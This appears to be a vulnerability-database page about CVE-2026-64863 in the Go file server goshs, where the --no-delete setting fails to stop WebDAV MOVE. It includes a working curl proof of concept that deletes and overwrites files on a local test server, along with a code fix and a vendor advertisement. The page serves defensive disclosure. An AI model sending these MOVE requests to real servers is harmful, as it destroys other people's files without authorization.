Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
CRITICAL severity

CVE-2026-64863 — goshs

CRITICALFix: goshs-labs/goshs@0444ac6

CVE-2026-64863 is a critical-severity (CVSS 9.1) CWE-284 vulnerability in goshs.de/goshs/v2. A fix is available for goshs.de/goshs/v2 — see the affected versions and patch details below.

goshs --no-delete WebDAV MOVE bypass allows file deletion/overwrite

Also known asGHSA-hq33-8jgp-8qq3GO-2026-6136
Published
Updated
Affected
4 pkgs
Patched
2 / 4
Exploits
None indexed
Exploitation data as of Oct 28, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-64863.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk-0.21%
Lower risk than most CVEs36th percentile — riskier than 36% of all scored CVEsHighest risk
0.00%0.38%0.75%1.13%0.3%0.4%0.6%0.4%Aug 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-64863 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 396,966 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

4 pkgs affected
🐹goshs.de/goshs/v2🐹github.com/patrickhener/goshs/v2🐹goshs.de/goshs🐹github.com/patrickhener/goshs

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The WebDAV mode-flag guard added to fix GHSA-3whc-qvhv-xqjp still does not enforce --no-delete on the WebDAV MOVE verb. MOVE deletes the source file (rename removes it from its original path), and with Overwrite: T it additionally performs an explicit RemoveAll on the destination. Under -w --no-delete, DELETE is correctly blocked (403) but MOVE still destroys existing files, defeating the documented "Disable the delete option" boundary.

This is a residual of the parent fix: the guard classifies MOVE/COPY as write-only verbs (blocked only under --read-only) and never treats MOVE as a delete, so the --no-delete branch never covers it.

Affected

goshs v2.1.3 (current release, commit ba00ce3). The guard was introduced when GHSA-3whc-qvhv-xqjp was fixed and carries the gap forward.

Details

httpserver/server.go, wdGuard (lines 237-254):

wdGuard := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
    switch r.Method {
    case http.MethodPut, "MKCOL", "MOVE", "COPY":
        if fs.ReadOnly {
            http.Error(w, "read-only", http.StatusForbidden)
            return
        }
    case http.MethodDelete:
        if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {
            http.Error(w, "delete disabled", http.StatusForbidden)
            return
        }
    case http.MethodGet, http.MethodHead:
        if fs.UploadOnly {
            http.Error(w, "upload-only", http.StatusForbidden)
            return
        }
    }
    ...

MOVE lives in the first case and is gated only by fs.ReadOnly. It is never checked against fs.NoDelete. But MOVE in golang.org/x/net/webdav (file.go, moveFiles) calls fs.Rename(ctx, src, dst), which removes the source from its original location, and when the Overwrite: T header is present it first calls fs.RemoveAll(ctx, dst) on an existing destination. Both are deletions. So --no-delete, whose help text reads "Disable the delete option", does not disable deletion via MOVE.

The .goshs ACL layer (webdav_acl.go) checks auth and block-lists only; it does not enforce the mode flags, so it does not close this gap.

Proof of concept

Reproduced live against goshs v2.1.3 on 2026-07-02. Server started with --no-delete and WebDAV enabled:

$ printf 'TOP-SECRET-CONTENTS\n' > webroot/secret.txt
$ printf 'VICTIM-EXISTING-FILE\n'  > webroot/victim.txt
$ goshs -d webroot -i 127.0.0.1 -p 18080 --webdav --webdav-port 18081 --no-delete
INFO  Serving WEBDAV on 127.0.0.1:18081 from webroot

Control - DELETE is correctly blocked:

$ curl -s -i -X DELETE http://127.0.0.1:18081/secret.txt
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
Server: goshs/v2.1.3 (darwin; go1.26.1)

secret.txt still exists on disk.

Bypass 1 - MOVE removes the source file despite --no-delete:

$ curl -s -i -X MOVE -H 'Destination: http://127.0.0.1:18081/gone.txt' http://127.0.0.1:18081/secret.txt
HTTP/1.1 201 Created
Server: goshs/v2.1.3 (darwin; go1.26.1)

secret.txt is now deleted from disk (its content is at gone.txt).

Bypass 2 - MOVE with Overwrite:T destroys an existing victim file:

# before: victim.txt = VICTIM-EXISTING-FILE
$ curl -s -i -X MOVE -H 'Destination: http://127.0.0.1:18081/victim.txt' -H 'Overwrite: T' http://127.0.0.1:18081/gone.txt
HTTP/1.1 204 No Content
Server: goshs/v2.1.3 (darwin; go1.26.1)
# after:  victim.txt = TOP-SECRET-CONTENTS   (original VICTIM-EXISTING-FILE destroyed via RemoveAll)

Impact

An operator running goshs -w --no-delete -d /srv/artifacts to deliver files that must not be removed still allows any WebDAV client to delete or clobber existing files via MOVE. Confidential existing files can be renamed away or overwritten. The --no-delete control is silently ineffective on the WebDAV port for the MOVE verb.

Suggested fix

Move MOVE (and COPY on collision-with-overwrite, which also deletes) into the delete-gated branch, or add fs.NoDelete to the write-verb branch for MOVE:

case http.MethodPut, "MKCOL", "COPY":
    if fs.ReadOnly {
        http.Error(w, "read-only", http.StatusForbidden)
        return
    }
case "MOVE":
    // MOVE renames (deletes source) and, with Overwrite:T, RemoveAll(dst).
    if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {
        http.Error(w, "move disabled", http.StatusForbidden)
        return
    }
case http.MethodDelete:
    if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {
        http.Error(w, "delete disabled", http.StatusForbidden)
        return
    }

Add an integration test covering MOVE under --no-delete (the current testWebdavMoveCopy only exercises MOVE/COPY in unrestricted mode).

Affected Packages

4 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogoshs.de/goshs/v2all versions2.1.4go get goshs.de/goshs/v2@v2.1.4
🐹Gogithub.com/patrickhener/goshs/v2all versions2.1.4go get github.com/patrickhener/goshs/v2@v2.1.4
🐹Gogoshs.de/goshsall versionsNo fix
🐹Gogithub.com/patrickhener/goshsall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for goshs.de/goshs/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update goshs.de/goshs/v2 to 2.1.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-64863 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

## Summary The WebDAV mode-flag guard added to fix GHSA-3whc-qvhv-xqjp still does not enforce `--no-delete` on the WebDAV `MOVE` verb. `MOVE` deletes the source file (rename removes it from its original path), and with `Overwrite: T` it additionally performs an explicit `RemoveAll` on the destination. Under `-w --no-delete`, `DELETE` is correctly blocked (403) but `MOVE` still destroys existing files, defeating the documented "Disable the delete option" boundary. This is a residual of the parent fix: the guard classifies `MOVE`/`COPY` as write-only verbs (blocked only under `--read-only`) an
O3 Security · Impact-Aware SCA

Is CVE-2026-64863 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-64863: goshs — Fixed in 2.1.4